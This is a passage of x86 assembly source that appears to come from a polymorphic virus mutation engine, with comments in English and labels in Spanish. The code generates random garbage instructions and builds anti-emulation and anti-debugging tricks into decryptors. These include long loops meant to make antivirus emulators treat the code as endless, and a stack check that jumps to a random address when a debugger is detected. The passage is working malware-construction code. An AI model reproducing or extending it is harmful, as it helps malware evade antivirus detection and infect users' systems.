[SI+02] ; Load in AX the address where the displa- ; cement will be stored CMP BYTE PTR [SI-01], 0E9h ;Check if it is a JMP of 16 bit PUSHF ; Save flags JZ @@Saleee ; If it is, jump DEC AX ; Decrement AX to get the address for JMPs ; of 8 bits @@Saleee: MOV CX, DI ; Get in CX the JMP displacement SUB CX, AX POPF ; Restore flags JZ @@Salfff ; If it is a JMP of 16 bits, jump MOV [SI], CL ; Save 8 bits displacement JMP @@Salggg ; Continue @@Salfff: MOV [SI], CX ; Save 16 bits displacement INC SI @@Salggg: INC SI ; Increase SI by 1 or 2 (depending on) MOV AL, 0E8h ; Store CALL opcode STOSB MOV AX, SI ; Calculate address of calling SUB AX, DI DEC AX DEC AX STOSW ; Store it RET ; Return HazBasuraAleatoria2 ENDP ;; Procedure to insert a basic anti-emulating trick AntiEmulating PROC CALL Aleatorio ; Get a Zero Flag with a 1/8 of probability AND AH, 07 ;If Zero Flag, return. This is made to avoid JZ @@Retorna ; putting an anti-emulating routine always, ; and forcing to not have a "mark" of this ; engine in its decryptors. AND AL, 03 ; Get a random 1 to 3 JZ AntiEmulating CMP AL, [AntiEmulacion-200h] ;Check if this number of rou- ; tine was constructed before JZ AntiEmulating ; If it was, get another random number MOV [AntiEmulacion-200h], AL ;Put the number in this field CMP AL, 2 ; Check trick number JB @@Truco01 JZ @@Truco03 ;; This routine constructs an anti-emulating portion of code. This generates ;; a big LOOP that it is executed in miliseconds, but takes a lot of time with ;; emulation (counter register has a big value). This forces to emulators to ;; "think" that it's an endless LOOP here. @@Truco02: MOV CL, 08h ; Get an usable-for-garbage register CALL ObtenRegistro MOV DL, AL ; Put it on DL @@OtraVez01: CALL Aleatorio ; Get a random number between 2000h and AND AH, 7Fh ; 7FFFh CMP AH, 20h JB @@OtraVez01 MOV CX, AX PUSH DX CALL Saslld ; Construct a MOV with the register DL ; and the value CX POP DX MOV SI, DI ;Get address where the LOOP begins in DX MOV AL, DL ; Put a PUSH Selected-Register CALL Siono JZ @@OtroPUSH MOV AX, 0F0FFh ; Word-opcode PUSH ADD AH, DL STOSW JMP @@Continue01 @@OtroPUSH: ADD AL, 50h ; Byte-opcode PUSH STOSB @@Continue01: PUSH CX ; Save DX, CX and SI PUSH DX PUSH SI CALL HazBasuraAleatoria CALL HazBasuraAleatoria ;Construct a random set of instruc- POP SI ;tions POP DX POP CX ; Restore DX, CX and SI MOV AL, DL ; Put a POP Selected-Register CALL Siono JNZ @@OtroPOP MOV AX, 0C08Fh ; Word-opcode POP ADD AH, DL STOSW JMP @@Continue02 @@OtroPOP: ADD AL, 58h ; Byte-opcode POP STOSB @@Continue02: CALL Siono JZ @@OtroDEC MOV AL, 48h ; Put a "DEC Selected-Register" ADD AL, DL STOSB JMP @@Continue04 @@OtroDEC: MOV AX, 0C8FFh ; Word-opcode DEC ADD AH, DL STOSW @@Continue04: CALL HazBasuraSinBanderas ; Construct instructions that ; don't modify checking flags XOR CH, CH CALL SioNo SETNE CL JZ @@OtroSalto MOV AL, 75h ; Put a JNZ instruction to the beginning STOSB ; of the LOOP MOV AX, DI ; Calculate and store displacement INC AX @@Continue03: XCHG SI, AX SUB AX, SI JCXZ @@AntRetorna2 STOSB RET @@AntRetorna2: STOSW @@Retorna: RET ; Return @@OtroSalto: MOV AX, 850Fh ; Put a 16 bits JNZ instruction STOSW LEA AX, [DI+2] JMP @@Continue03 ;; Another type of anti-emulating. This time is anti-debugging too. It pushes ;; a value and pops it, and then subtracts 2 to the stack pointer and pops the ;; value again in another register. If the registers are different, it jumps ;; to a random address, to fuck it :) @@Truco03: CALL Aleatorio ; Get a random word in AX AND AL, 07h ; Get a random register CMP AL, 04h ; SP? JZ @@Truco03 ; Then, repeat PUSH AX ; Save register CALL SioNo ; Aleatory Zero Flag JZ @@JumpP001 ; If Zero Flag, put a word-opcode PUSH ADD AL, 50h ; Convert to PUSH STOSB ; Store it JMP @@Continue100 @@JumpP001: ADD AL, 0F0h ; Convert to PUSH CBW XCHG AH, AL STOSW ; Store it @@Continue100: CALL HazBasuraAleatoria ; Do garbage POP AX ; Restore register PUSH AX CALL SioNo JZ @@PonPOP2 ADD AL, 58h ; Convert to POP STOSB ; Store it JMP @@Continue101 ; Continue @@PonPOP2: MOV AH, 8Fh XCHG AH, AL ADD AH, 0C0h STOSW @@Continue101: CALL Aleatorio ; Get a random word in AX AND AL, 03h ; Get a manner of subtracting 2 to SP JZ @@PonSUB02 ; If AL=0, do "SUB SP,0002" CMP AL, 02 JB @@PonDECDEC ; If AL=1, do "DEC SP/DEC SP" JZ @@PonADDFE ; If AL=2, do "ADD SP,FFFE" ;; Do "ADD SP,-02" @@PonADDFE2: MOV AL, 83h ; Opcode of signed 16 bits operation